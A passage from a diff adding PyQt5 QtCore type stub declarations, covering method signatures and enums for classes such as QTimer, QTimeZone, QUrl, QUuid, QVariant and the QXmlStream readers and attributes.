stop(self) -> None: ... + def start(self) -> None: ... + def setPaused(self, paused: bool) -> None: ... + def setCurrentTime(self, msec: int) -> None: ... + def resume(self) -> None: ... + def valueForTime(self, msec: int) -> float: ... + def frameForTime(self, msec: int) -> int: ... + def currentValue(self) -> float: ... + def currentFrame(self) -> int: ... + def currentTime(self) -> int: ... + def setCurveShape(self, shape: 'QTimeLine.CurveShape') -> None: ... + def curveShape(self) -> 'QTimeLine.CurveShape': ... + def setUpdateInterval(self, interval: int) -> None: ... + def updateInterval(self) -> int: ... + def setFrameRange(self, startFrame: int, endFrame: int) -> None: ... + def setEndFrame(self, frame: int) -> None: ... + def endFrame(self) -> int: ... + def setStartFrame(self, frame: int) -> None: ... + def startFrame(self) -> int: ... + def setDuration(self, duration: int) -> None: ... + def duration(self) -> int: ... + def setDirection(self, direction: 'QTimeLine.Direction') -> None: ... + def direction(self) -> 'QTimeLine.Direction': ... + def setLoopCount(self, count: int) -> None: ... + def loopCount(self) -> int: ... + def state(self) -> 'QTimeLine.State': ... + + +class QTimer(QObject): + + def __init__(self, parent: typing.Optional[QObject] = ...) -> None: ... + + def remainingTime(self) -> int: ... + def timerType(self) -> Qt.TimerType: ... + def setTimerType(self, atype: Qt.TimerType) -> None: ... + def timerEvent(self, a0: QTimerEvent) -> None: ... + def timeout(self) -> None: ... + def stop(self) -> None: ... + @typing.overload + def start(self, msec: int) -> None: ... + @typing.overload + def start(self) -> None: ... + @typing.overload + @staticmethod + def singleShot(msec: int, slot: PYQT_SLOT) -> None: ... + @typing.overload + @staticmethod + def singleShot(msec: int, timerType: Qt.TimerType, slot: PYQT_SLOT) -> None: ... + def setSingleShot(self, asingleShot: bool) -> None: ... + def isSingleShot(self) -> bool: ... + def interval(self) -> int: ... + def setInterval(self, msec: int) -> None: ... + def timerId(self) -> int: ... + def isActive(self) -> bool: ... + + +class QTimeZone(sip.simplewrapper): + + class NameType(int): + DefaultName = ... # type: QTimeZone.NameType + LongName = ... # type: QTimeZone.NameType + ShortName = ... # type: QTimeZone.NameType + OffsetName = ... # type: QTimeZone.NameType + + class TimeType(int): + StandardTime = ... # type: QTimeZone.TimeType + DaylightTime = ... # type: QTimeZone.TimeType + GenericTime = ... # type: QTimeZone.TimeType + + class OffsetData(sip.simplewrapper): + + abbreviation = ... # type: str + atUtc = ... # type: typing.Union[QDateTime, datetime.datetime] + daylightTimeOffset = ... # type: int + offsetFromUtc = ... # type: int + standardTimeOffset = ... # type: int + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QTimeZone.OffsetData') -> None: ... + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, ianaId: typing.Union[QByteArray, bytes, bytearray]) -> None: ... + @typing.overload + def __init__(self, offsetSeconds: int) -> None: ... + @typing.overload + def __init__(self, zoneId: typing.Union[QByteArray, bytes, bytearray], offsetSeconds: int, name: str, abbreviation: str, country: QLocale.Country = ..., comment: str = ...) -> None: ... + @typing.overload + def __init__(self, other: 'QTimeZone') -> None: ... + + @staticmethod + def utc() -> 'QTimeZone': ... + @staticmethod + def systemTimeZone() -> 'QTimeZone': ... + @typing.overload + @staticmethod + def windowsIdToIanaIds(windowsId: typing.Union[QByteArray, bytes, bytearray]) -> typing.List[QByteArray]: ... + @typing.overload + @staticmethod + def windowsIdToIanaIds(windowsId: typing.Union[QByteArray, bytes, bytearray], country: QLocale.Country) -> typing.List[QByteArray]: ... + @typing.overload + @staticmethod + def windowsIdToDefaultIanaId(windowsId: typing.Union[QByteArray, bytes, bytearray]) -> QByteArray: ... + @typing.overload + @staticmethod + def windowsIdToDefaultIanaId(windowsId: typing.Union[QByteArray, bytes, bytearray], country: QLocale.Country) -> QByteArray: ... + @staticmethod + def ianaIdToWindowsId(ianaId: typing.Union[QByteArray, bytes, bytearray]) -> QByteArray: ... + @typing.overload + @staticmethod + def availableTimeZoneIds() -> typing.List[QByteArray]: ... + @typing.overload + @staticmethod + def availableTimeZoneIds(country: QLocale.Country) -> typing.List[QByteArray]: ... + @typing.overload + @staticmethod + def availableTimeZoneIds(offsetSeconds: int) -> typing.List[QByteArray]: ... + @staticmethod + def isTimeZoneIdAvailable(ianaId: typing.Union[QByteArray, bytes, bytearray]) -> bool: ... + @staticmethod + def systemTimeZoneId() -> QByteArray: ... + def transitions(self, fromDateTime: typing.Union[QDateTime, datetime.datetime], toDateTime: typing.Union[QDateTime, datetime.datetime]) -> typing.List['QTimeZone.OffsetData']: ... + def previousTransition(self, beforeDateTime: typing.Union[QDateTime, datetime.datetime]) -> 'QTimeZone.OffsetData': ... + def nextTransition(self, afterDateTime: typing.Union[QDateTime, datetime.datetime]) -> 'QTimeZone.OffsetData': ... + def hasTransitions(self) -> bool: ... + def offsetData(self, forDateTime: typing.Union[QDateTime, datetime.datetime]) -> 'QTimeZone.OffsetData': ... + def isDaylightTime(self, atDateTime: typing.Union[QDateTime, datetime.datetime]) -> bool: ... + def hasDaylightTime(self) -> bool: ... + def daylightTimeOffset(self, atDateTime: typing.Union[QDateTime, datetime.datetime]) -> int: ... + def standardTimeOffset(self, atDateTime: typing.Union[QDateTime, datetime.datetime]) -> int: ... + def offsetFromUtc(self, atDateTime: typing.Union[QDateTime, datetime.datetime]) -> int: ... + def abbreviation(self, atDateTime: typing.Union[QDateTime, datetime.datetime]) -> str: ... + @typing.overload + def displayName(self, atDateTime: typing.Union[QDateTime, datetime.datetime], nameType: 'QTimeZone.NameType' = ..., locale: QLocale = ...) -> str: ... + @typing.overload + def displayName(self, timeType: 'QTimeZone.TimeType', nameType: 'QTimeZone.NameType' = ..., locale: QLocale = ...) -> str: ... + def comment(self) -> str: ... + def country(self) -> QLocale.Country: ... + def id(self) -> QByteArray: ... + def isValid(self) -> bool: ... + def swap(self, other: 'QTimeZone') -> None: ... + + +class QTranslator(QObject): + + def __init__(self, parent: typing.Optional[QObject] = ...) -> None: ... + + def filePath(self) -> str: ... + def language(self) -> str: ... + def loadFromData(self, data: bytes, directory: str = ...) -> bool: ... + @typing.overload + def load(self, fileName: str, directory: str = ..., searchDelimiters: str = ..., suffix: str = ...) -> bool: ... + @typing.overload + def load(self, locale: QLocale, fileName: str, prefix: str = ..., directory: str = ..., suffix: str = ...) -> bool: ... + def isEmpty(self) -> bool: ... + def translate(self, context: str, sourceText: str, disambiguation: typing.Optional[str] = ..., n: int = ...) -> str: ... + + +class QTransposeProxyModel(QAbstractProxyModel): + + def __init__(self, parent: typing.Optional[QObject] = ...) -> None: ... + + def sort(self, column: int, order: Qt.SortOrder = ...) -> None: ... + def moveColumns(self, sourceParent: QModelIndex, sourceColumn: int, count: int, destinationParent: QModelIndex, destinationChild: int) -> bool: ... + def removeColumns(self, column: int, count: int, parent: QModelIndex = ...) -> bool: ... + def insertColumns(self, column: int, count: int, parent: QModelIndex = ...) -> bool: ... + def moveRows(self, sourceParent: QModelIndex, sourceRow: int, count: int, destinationParent: QModelIndex, destinationChild: int) -> bool: ... + def removeRows(self, row: int, count: int, parent: QModelIndex = ...) -> bool: ... + def insertRows(self, row: int, count: int, parent: QModelIndex = ...) -> bool: ... + def index(self, row: int, column: int, parent: QModelIndex = ...) -> QModelIndex: ... + def parent(self, index: QModelIndex) -> QModelIndex: ... + def mapToSource(self, proxyIndex: QModelIndex) -> QModelIndex: ... + def mapFromSource(self, sourceIndex: QModelIndex) -> QModelIndex: ... + def itemData(self, index: QModelIndex) -> typing.Dict[int, typing.Any]: ... + def span(self, index: QModelIndex) -> QSize: ... + def setItemData(self, index: QModelIndex, roles: typing.Dict[int, typing.Any]) -> bool: ... + def setHeaderData(self, section: int, orientation: Qt.Orientation, value: typing.Any, role: int = ...) -> bool: ... + def headerData(self, section: int, orientation: Qt.Orientation, role: int = ...) -> typing.Any: ... + def columnCount(self, parent: QModelIndex = ...) -> int: ... + def rowCount(self, parent: QModelIndex = ...) -> int: ... + def setSourceModel(self, newSourceModel: QAbstractItemModel) -> None: ... + + +class QUrl(sip.simplewrapper): + + class UserInputResolutionOption(int): + DefaultResolution = ... # type: QUrl.UserInputResolutionOption + AssumeLocalFile = ... # type: QUrl.UserInputResolutionOption + + class ComponentFormattingOption(int): + PrettyDecoded = ... # type: QUrl.ComponentFormattingOption + EncodeSpaces = ... # type: QUrl.ComponentFormattingOption + EncodeUnicode = ... # type: QUrl.ComponentFormattingOption + EncodeDelimiters = ... # type: QUrl.ComponentFormattingOption + EncodeReserved = ... # type: QUrl.ComponentFormattingOption + DecodeReserved = ... # type: QUrl.ComponentFormattingOption + FullyEncoded = ... # type: QUrl.ComponentFormattingOption + FullyDecoded = ... # type: QUrl.ComponentFormattingOption + + class UrlFormattingOption(int): + None_ = ... # type: QUrl.UrlFormattingOption + RemoveScheme = ... # type: QUrl.UrlFormattingOption + RemovePassword = ... # type: QUrl.UrlFormattingOption + RemoveUserInfo = ... # type: QUrl.UrlFormattingOption + RemovePort = ... # type: QUrl.UrlFormattingOption + RemoveAuthority = ... # type: QUrl.UrlFormattingOption + RemovePath = ... # type: QUrl.UrlFormattingOption + RemoveQuery = ... # type: QUrl.UrlFormattingOption + RemoveFragment = ... # type: QUrl.UrlFormattingOption + PreferLocalFile = ... # type: QUrl.UrlFormattingOption + StripTrailingSlash = ... # type: QUrl.UrlFormattingOption + RemoveFilename = ... # type: QUrl.UrlFormattingOption + NormalizePathSegments = ... # type: QUrl.UrlFormattingOption + + class ParsingMode(int): + TolerantMode = ... # type: QUrl.ParsingMode + StrictMode = ... # type: QUrl.ParsingMode + DecodedMode = ... # type: QUrl.ParsingMode + + class FormattingOptions(sip.simplewrapper): + + def __init__(self, a0: 'QUrl.FormattingOptions') -> None: ... + + + class ComponentFormattingOptions(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QUrl.ComponentFormattingOptions', 'QUrl.ComponentFormattingOption']) -> None: ... + @typing.overload + def __init__(self, a0: 'QUrl.ComponentFormattingOptions') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QUrl.ComponentFormattingOptions': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + class UserInputResolutionOptions(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QUrl.UserInputResolutionOptions', 'QUrl.UserInputResolutionOption']) -> None: ... + @typing.overload + def __init__(self, a0: 'QUrl.UserInputResolutionOptions') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QUrl.UserInputResolutionOptions': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, url: str, mode: 'QUrl.ParsingMode' = ...) -> None: ... + @typing.overload + def __init__(self, copy: 'QUrl') -> None: ... + + def matches(self, url: 'QUrl', options: 'QUrl.FormattingOptions') -> bool: ... + def fileName(self, options: typing.Union['QUrl.ComponentFormattingOptions', 'QUrl.ComponentFormattingOption'] = ...) -> str: ... + def adjusted(self, options: 'QUrl.FormattingOptions') -> 'QUrl': ... + @staticmethod + def fromStringList(uris: typing.Iterable[str], mode: 'QUrl.ParsingMode' = ...) -> typing.List['QUrl']: ... + @staticmethod + def toStringList(uris: typing.Iterable['QUrl'], options: 'QUrl.FormattingOptions' = ...) -> typing.List[str]: ... + def query(self, options: typing.Union['QUrl.ComponentFormattingOptions', 'QUrl.ComponentFormattingOption'] = ...) -> str: ... + @typing.overload + def setQuery(self, query: str, mode: 'QUrl.ParsingMode' = ...) -> None: ... + @typing.overload + def setQuery(self, query: 'QUrlQuery') -> None: ... + def toDisplayString(self, options: 'QUrl.FormattingOptions' = ...) -> str: ... + def isLocalFile(self) -> bool: ... + def topLevelDomain(self, options: typing.Union['QUrl.ComponentFormattingOptions', 'QUrl.ComponentFormattingOption'] = ...) -> str: ... + def swap(self, other: 'QUrl') -> None: ... + @typing.overload + @staticmethod + def fromUserInput(userInput: str) -> 'QUrl': ... + @typing.overload + @staticmethod + def fromUserInput(userInput: str, workingDirectory: str, options: typing.Union['QUrl.UserInputResolutionOptions', 'QUrl.UserInputResolutionOption'] = ...) -> 'QUrl': ... + @staticmethod + def setIdnWhitelist(a0: typing.Iterable[str]) -> None: ... + @staticmethod + def idnWhitelist() -> typing.List[str]: ... + @staticmethod + def toAce(a0: str) -> QByteArray: ... + @staticmethod + def fromAce(a0: typing.Union[QByteArray, bytes, bytearray]) -> str: ... + def errorString(self) -> str: ... + def hasFragment(self) -> bool: ... + def hasQuery(self) -> bool: ... + @staticmethod + def toPercentEncoding(input: str, exclude: typing.Union[QByteArray, bytes, bytearray] = ..., include: typing.Union[QByteArray, bytes, bytearray] = ...) -> QByteArray: ... + @staticmethod + def fromPercentEncoding(a0: typing.Union[QByteArray, bytes, bytearray]) -> str: ... + def isDetached(self) -> bool: ... + def detach(self) -> None: ... + @staticmethod + def fromEncoded(u: typing.Union[QByteArray, bytes, bytearray], mode: 'QUrl.ParsingMode' = ...) -> 'QUrl': ... + def toEncoded(self, options: 'QUrl.FormattingOptions' = ...) -> QByteArray: ... + def toString(self, options: 'QUrl.FormattingOptions' = ...) -> str: ... + def toLocalFile(self) -> str: ... + @staticmethod + def fromLocalFile(localfile: str) -> 'QUrl': ... + def isParentOf(self, url: 'QUrl') -> bool: ... + def isRelative(self) -> bool: ... + def resolved(self, relative: 'QUrl') -> 'QUrl': ... + def fragment(self, options: typing.Union['QUrl.ComponentFormattingOptions', 'QUrl.ComponentFormattingOption'] = ...) -> str: ... + def setFragment(self, fragment: str, mode: 'QUrl.ParsingMode' = ...) -> None: ... + def path(self, options: typing.Union['QUrl.ComponentFormattingOptions', 'QUrl.ComponentFormattingOption'] = ...) -> str: ... + def setPath(self, path: str, mode: 'QUrl.ParsingMode' = ...) -> None: ... + def port(self, defaultPort: int = ...) -> int: ... + def setPort(self, port: int) -> None: ... + def host(self, a0: typing.Union['QUrl.ComponentFormattingOptions', 'QUrl.ComponentFormattingOption'] = ...) -> str: ... + def setHost(self, host: str, mode: 'QUrl.ParsingMode' = ...) -> None: ... + def password(self, options: typing.Union['QUrl.ComponentFormattingOptions', 'QUrl.ComponentFormattingOption'] = ...) -> str: ... + def setPassword(self, password: str, mode: 'QUrl.ParsingMode' = ...) -> None: ... + def userName(self, options: typing.Union['QUrl.ComponentFormattingOptions', 'QUrl.ComponentFormattingOption'] = ...) -> str: ... + def setUserName(self, userName: str, mode: 'QUrl.ParsingMode' = ...) -> None: ... + def userInfo(self, options: typing.Union['QUrl.ComponentFormattingOptions', 'QUrl.ComponentFormattingOption'] = ...) -> str: ... + def setUserInfo(self, userInfo: str, mode: 'QUrl.ParsingMode' = ...) -> None: ... + def authority(self, options: typing.Union['QUrl.ComponentFormattingOptions', 'QUrl.ComponentFormattingOption'] = ...) -> str: ... + def setAuthority(self, authority: str, mode: 'QUrl.ParsingMode' = ...) -> None: ... + def scheme(self) -> str: ... + def setScheme(self, scheme: str) -> None: ... + def clear(self) -> None: ... + def isEmpty(self) -> bool: ... + def isValid(self) -> bool: ... + def setUrl(self, url: str, mode: 'QUrl.ParsingMode' = ...) -> None: ... + def url(self, options: 'QUrl.FormattingOptions' = ...) -> str: ... + def __repr__(self) -> str: ... + def __hash__(self) -> int: ... + + +class QUrlQuery(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, url: QUrl) -> None: ... + @typing.overload + def __init__(self, queryString: str) -> None: ... + @typing.overload + def __init__(self, other: 'QUrlQuery') -> None: ... + + def __hash__(self) -> int: ... + @staticmethod + def defaultQueryPairDelimiter() -> str: ... + @staticmethod + def defaultQueryValueDelimiter() -> str: ... + def removeAllQueryItems(self, key: str) -> None: ... + def allQueryItemValues(self, key: str, options: typing.Union[QUrl.ComponentFormattingOptions, QUrl.ComponentFormattingOption] = ...) -> typing.List[str]: ... + def queryItemValue(self, key: str, options: typing.Union[QUrl.ComponentFormattingOptions, QUrl.ComponentFormattingOption] = ...) -> str: ... + def removeQueryItem(self, key: str) -> None: ... + def addQueryItem(self, key: str, value: str) -> None: ... + def hasQueryItem(self, key: str) -> bool: ... + def queryItems(self, options: typing.Union[QUrl.ComponentFormattingOptions, QUrl.ComponentFormattingOption] = ...) -> typing.List[typing.Tuple[str, str]]: ... + def setQueryItems(self, query: typing.Iterable[typing.Tuple[str, str]]) -> None: ... + def queryPairDelimiter(self) -> str: ... + def queryValueDelimiter(self) -> str: ... + def setQueryDelimiters(self, valueDelimiter: str, pairDelimiter: str) -> None: ... + def toString(self, options: typing.Union[QUrl.ComponentFormattingOptions, QUrl.ComponentFormattingOption] = ...) -> str: ... + def setQuery(self, queryString: str) -> None: ... + def query(self, options: typing.Union[QUrl.ComponentFormattingOptions, QUrl.ComponentFormattingOption] = ...) -> str: ... + def clear(self) -> None: ... + def isDetached(self) -> bool: ... + def isEmpty(self) -> bool: ... + def swap(self, other: 'QUrlQuery') -> None: ... + + +class QUuid(sip.simplewrapper): + + class StringFormat(int): + WithBraces = ... # type: QUuid.StringFormat + WithoutBraces = ... # type: QUuid.StringFormat + Id128 = ... # type: QUuid.StringFormat + + class Version(int): + VerUnknown = ... # type: QUuid.Version + Time = ... # type: QUuid.Version + EmbeddedPOSIX = ... # type: QUuid.Version + Md5 = ... # type: QUuid.Version + Name = ... # type: QUuid.Version + Random = ... # type: QUuid.Version + Sha1 = ... # type: QUuid.Version + + class Variant(int): + VarUnknown = ... # type: QUuid.Variant + NCS = ... # type: QUuid.Variant + DCE = ... # type: QUuid.Variant + Microsoft = ... # type: QUuid.Variant + Reserved = ... # type: QUuid.Variant + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, l: int, w1: int, w2: int, b1: int, b2: int, b3: int, b4: int, b5: int, b6: int, b7: int, b8: int) -> None: ... + @typing.overload + def __init__(self, a0: str) -> None: ... + @typing.overload + def __init__(self, a0: typing.Union[QByteArray, bytes, bytearray]) -> None: ... + @typing.overload + def __init__(self, a0: 'QUuid') -> None: ... + + @staticmethod + def fromRfc4122(a0: typing.Union[QByteArray, bytes, bytearray]) -> 'QUuid': ... + def toRfc4122(self) -> QByteArray: ... + @typing.overload + def toByteArray(self) -> QByteArray: ... + @typing.overload + def toByteArray(self, mode: 'QUuid.StringFormat') -> QByteArray: ... + def version(self) -> 'QUuid.Version': ... + def variant(self) -> 'QUuid.Variant': ... + @typing.overload + @staticmethod + def createUuidV5(ns: 'QUuid', baseData: typing.Union[QByteArray, bytes, bytearray]) -> 'QUuid': ... + @typing.overload + @staticmethod + def createUuidV5(ns: 'QUuid', baseData: str) -> 'QUuid': ... + @typing.overload + @staticmethod + def createUuidV3(ns: 'QUuid', baseData: typing.Union[QByteArray, bytes, bytearray]) -> 'QUuid': ... + @typing.overload + @staticmethod + def createUuidV3(ns: 'QUuid', baseData: str) -> 'QUuid': ... + @staticmethod + def createUuid() -> 'QUuid': ... + def isNull(self) -> bool: ... + @typing.overload + def toString(self) -> str: ... + @typing.overload + def toString(self, mode: 'QUuid.StringFormat') -> str: ... + def __repr__(self) -> str: ... + def __hash__(self) -> int: ... + + +class QVariant(sip.simplewrapper): + + class Type(int): + Invalid = ... # type: QVariant.Type + Bool = ... # type: QVariant.Type + Int = ... # type: QVariant.Type + UInt = ... # type: QVariant.Type + LongLong = ... # type: QVariant.Type + ULongLong = ... # type: QVariant.Type + Double = ... # type: QVariant.Type + Char = ... # type: QVariant.Type + Map = ... # type: QVariant.Type + List = ... # type: QVariant.Type + String = ... # type: QVariant.Type + StringList = ... # type: QVariant.Type + ByteArray = ... # type: QVariant.Type + BitArray = ... # type: QVariant.Type + Date = ... # type: QVariant.Type + Time = ... # type: QVariant.Type + DateTime = ... # type: QVariant.Type + Url = ... # type: QVariant.Type + Locale = ... # type: QVariant.Type + Rect = ... # type: QVariant.Type + RectF = ... # type: QVariant.Type + Size = ... # type: QVariant.Type + SizeF = ... # type: QVariant.Type + Line = ... # type: QVariant.Type + LineF = ... # type: QVariant.Type + Point = ... # type: QVariant.Type + PointF = ... # type: QVariant.Type + RegExp = ... # type: QVariant.Type + Font = ... # type: QVariant.Type + Pixmap = ... # type: QVariant.Type + Brush = ... # type: QVariant.Type + Color = ... # type: QVariant.Type + Palette = ... # type: QVariant.Type + Icon = ... # type: QVariant.Type + Image = ... # type: QVariant.Type + Polygon = ... # type: QVariant.Type + Region = ... # type: QVariant.Type + Bitmap = ... # type: QVariant.Type + Cursor = ... # type: QVariant.Type + SizePolicy = ... # type: QVariant.Type + KeySequence = ... # type: QVariant.Type + Pen = ... # type: QVariant.Type + TextLength = ... # type: QVariant.Type + TextFormat = ... # type: QVariant.Type + Matrix = ... # type: QVariant.Type + Transform = ... # type: QVariant.Type + Hash = ... # type: QVariant.Type + Matrix4x4 = ... # type: QVariant.Type + Vector2D = ... # type: QVariant.Type + Vector3D = ... # type: QVariant.Type + Vector4D = ... # type: QVariant.Type + Quaternion = ... # type: QVariant.Type + EasingCurve = ... # type: QVariant.Type + Uuid = ... # type: QVariant.Type + ModelIndex = ... # type: QVariant.Type + PolygonF = ... # type: QVariant.Type + RegularExpression = ... # type: QVariant.Type + PersistentModelIndex = ... # type: QVariant.Type + UserType = ... # type: QVariant.Type + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, type: 'QVariant.Type') -> None: ... + @typing.overload + def __init__(self, obj: typing.Any) -> None: ... + @typing.overload + def __init__(self, a0: 'QVariant') -> None: ... + + def swap(self, other: 'QVariant') -> None: ... + @staticmethod + def nameToType(name: str) -> 'QVariant.Type': ... + @staticmethod + def typeToName(typeId: int) -> str: ... + def save(self, ds: QDataStream) -> None: ... + def load(self, ds: QDataStream) -> None: ... + def clear(self) -> None: ... + def isNull(self) -> bool: ... + def isValid(self) -> bool: ... + def convert(self, targetTypeId: int) -> bool: ... + def canConvert(self, targetTypeId: int) -> bool: ... + def typeName(self) -> str: ... + def userType(self) -> int: ... + def type(self) -> 'QVariant.Type': ... + def value(self) -> typing.Any: ... + + +class QVersionNumber(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, seg: typing.Iterable[int]) -> None: ... + @typing.overload + def __init__(self, maj: int) -> None: ... + @typing.overload + def __init__(self, maj: int, min: int) -> None: ... + @typing.overload + def __init__(self, maj: int, min: int, mic: int) -> None: ... + @typing.overload + def __init__(self, a0: 'QVersionNumber') -> None: ... + + def __hash__(self) -> int: ... + @staticmethod + def fromString(string: str) -> typing.Tuple['QVersionNumber', int]: ... + def toString(self) -> str: ... + @staticmethod + def commonPrefix(v1: 'QVersionNumber', v2: 'QVersionNumber') -> 'QVersionNumber': ... + @staticmethod + def compare(v1: 'QVersionNumber', v2: 'QVersionNumber') -> int: ... + def isPrefixOf(self, other: 'QVersionNumber') -> bool: ... + def segmentCount(self) -> int: ... + def segmentAt(self, index: int) -> int: ... + def segments(self) -> typing.List[int]: ... + def normalized(self) -> 'QVersionNumber': ... + def microVersion(self) -> int: ... + def minorVersion(self) -> int: ... + def majorVersion(self) -> int: ... + def isNormalized(self) -> bool: ... + def isNull(self) -> bool: ... + + +class QWaitCondition(sip.simplewrapper): + + def __init__(self) -> None: ... + + def wakeAll(self) -> None: ... + def wakeOne(self) -> None: ... + @typing.overload + def wait(self, mutex: QMutex, msecs: int = ...) -> bool: ... + @typing.overload + def wait(self, lockedMutex: QMutex, deadline: QDeadlineTimer) -> bool: ... + @typing.overload + def wait(self, readWriteLock: QReadWriteLock, msecs: int = ...) -> bool: ... + @typing.overload + def wait(self, lockedReadWriteLock: QReadWriteLock, deadline: QDeadlineTimer) -> bool: ... + + +class QXmlStreamAttribute(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, qualifiedName: str, value: str) -> None: ... + @typing.overload + def __init__(self, namespaceUri: str, name: str, value: str) -> None: ... + @typing.overload + def __init__(self, a0: 'QXmlStreamAttribute') -> None: ... + + def isDefault(self) -> bool: ... + def value(self) -> str: ... + def prefix(self) -> str: ... + def qualifiedName(self) -> str: ... + def name(self) -> str: ... + def namespaceUri(self) -> str: ... + + +class QXmlStreamAttributes(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QXmlStreamAttributes') -> None: ... + + def __contains__(self, value: QXmlStreamAttribute) -> int: ... + @typing.overload + def __delitem__(self, i: int) -> None: ... + @typing.overload + def __delitem__(self, slice: slice) -> None: ... + @typing.overload + def __setitem__(self, i: int, value: QXmlStreamAttribute) -> None: ... + @typing.overload + def __setitem__(self, slice: slice, list: 'QXmlStreamAttributes') -> None: ... + @typing.overload + def __getitem__(self, i: int) -> QXmlStreamAttribute: ... + @typing.overload + def __getitem__(self, slice: slice) -> 'QXmlStreamAttributes': ... + def size(self) -> int: ... + def replace(self, i: int, value: QXmlStreamAttribute) -> None: ... + @typing.overload + def remove(self, i: int) -> None: ... + @typing.overload + def remove(self, i: int, count: int) -> None: ... + def prepend(self, value: QXmlStreamAttribute) -> None: ... + def lastIndexOf(self, value: QXmlStreamAttribute, from_: int = ...) -> int: ... + def last(self) -> QXmlStreamAttribute: ... + def isEmpty(self) -> bool: ... + def insert(self, i: int, value: QXmlStreamAttribute) -> None: ... + def indexOf(self, value: QXmlStreamAttribute, from_: int = ...) -> int: ... + def first(self) -> QXmlStreamAttribute: ... + def fill(self, value: QXmlStreamAttribute, size: int = ...) -> None: ... + def data(self) -> PyQt5.sip.voidptr: ... + def __len__(self) -> int: ... + @typing.overload + def count(self, value: QXmlStreamAttribute) -> int: ... + @typing.overload + def count(self) -> int: ... + def contains(self, value: QXmlStreamAttribute) -> bool: ... + def clear(self) -> None: ... + def at(self, i: int) -> QXmlStreamAttribute: ... + @typing.overload + def hasAttribute(self, qualifiedName: str) -> bool: ... + @typing.overload + def hasAttribute(self, namespaceUri: str, name: str) -> bool: ... + @typing.overload + def append(self, namespaceUri: str, name: str, value: str) -> None: ... + @typing.overload + def append(self, qualifiedName: str, value: str) -> None: ... + @typing.overload + def append(self, attribute: QXmlStreamAttribute) -> None: ... + @typing.overload + def value(self, namespaceUri: str, name: str) -> str: ... + @typing.overload + def value(self, qualifiedName: str) -> str: ... + + +class QXmlStreamNamespaceDeclaration(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QXmlStreamNamespaceDeclaration') -> None: ... + @typing.overload + def __init__(self, prefix: str, namespaceUri: str) -> None: ... + + def namespaceUri(self) -> str: ... + def prefix(self) -> str: ... + + +class QXmlStreamNotationDeclaration(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QXmlStreamNotationDeclaration') -> None: ... + + def publicId(self) -> str: ... + def systemId(self) -> str: ... + def name(self) -> str: ... + + +class QXmlStreamEntityDeclaration(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QXmlStreamEntityDeclaration') -> None: ... + + def value(self) -> str: ... + def publicId(self) -> str: ... + def systemId(self) -> str: ... + def notationName(self) -> str: ... + def name(self) -> str: ... + + +class QXmlStreamEntityResolver(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QXmlStreamEntityResolver') -> None: ... + + def resolveUndeclaredEntity(self, name: str) -> str: ... + + +class QXmlStreamReader(sip.simplewrapper): + + class Error(int): + NoError = ... # type: QXmlStreamReader.Error + UnexpectedElementError = ... # type: QXmlStreamReader.Error + CustomError = ... # type: QXmlStreamReader.Error + NotWellFormedError = ... # type: QXmlStreamReader.Error + PrematureEndOfDocumentError = ... # type: QXmlStreamReader.Error + + class ReadElementTextBehaviour(int): + ErrorOnUnexpectedElement = ... # type: QXmlStreamReader.ReadElementTextBehaviour + IncludeChildElements = ... # type: QXmlStreamReader.ReadElementTextBehaviour + SkipChildElements = ... # type: QXmlStreamReader.ReadElementTextBehaviour + + class TokenType(int): + NoToken = ... # type: QXmlStreamReader.TokenType + Invalid = ... # type: QXmlStreamReader.TokenType + StartDocument = ... # type: QXmlStreamReader.TokenType + EndDocument = ... # type: QXmlStreamReader.TokenType + StartElement = ... # type: QXmlStreamReader.TokenType + EndElement = ... # type: QXmlStreamReader.TokenType + Characters = ... # type: QXmlStreamReader.TokenType + Comment = ... # type: QXmlStreamReader.TokenType + DTD = ... # type: QXmlStreamReader.TokenType + EntityReference = ... # type: QXmlStreamReader.TokenType + ProcessingInstruction = ... # type: QXmlStreamReader.TokenType + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, device: QIODevice) -> None: ... + @typing.overload + def __init__(self, data: typing.Union[QByteArray, bytes, bytearray]) -> None: ... + @typing.overload + def __init__(self, data: str) -> None: ... + + def setEntityExpansionLimit(self, limit: int) -> None: ... + def entityExpansionLimit(self) -> int: ... + def skipCurrentElement(self) -> None: ... + def readNextStartElement(self) -> bool: ... + def entityResolver(self) -> QXmlStreamEntityResolver: ... + def setEntityResolver(self, resolver: QXmlStreamEntityResolver) -> None: ... + def hasError(self) -> bool: ... + def error(self) -> 'QXmlStreamReader.Error': ... + def errorString(self) -> str: ... + def raiseError(self, message: str = ...) -> None: ... + def dtdSystemId(self) -> str: ... + def dtdPublicId(self) -> str: ... + def dtdName(self) -> str: ... + def entityDeclarations(self) -> typing.List[QXmlStreamEntityDeclaration]: ... + def notationDeclarations(self) -> typing.List[QXmlStreamNotationDeclaration]: ... + def addExtraNamespaceDeclarations(self, extraNamespaceDeclaractions: typing.Iterable[QXmlStreamNamespaceDeclaration]) -> None: ... + def addExtraNamespaceDeclaration(self, extraNamespaceDeclaraction: QXmlStreamNamespaceDeclaration) -> 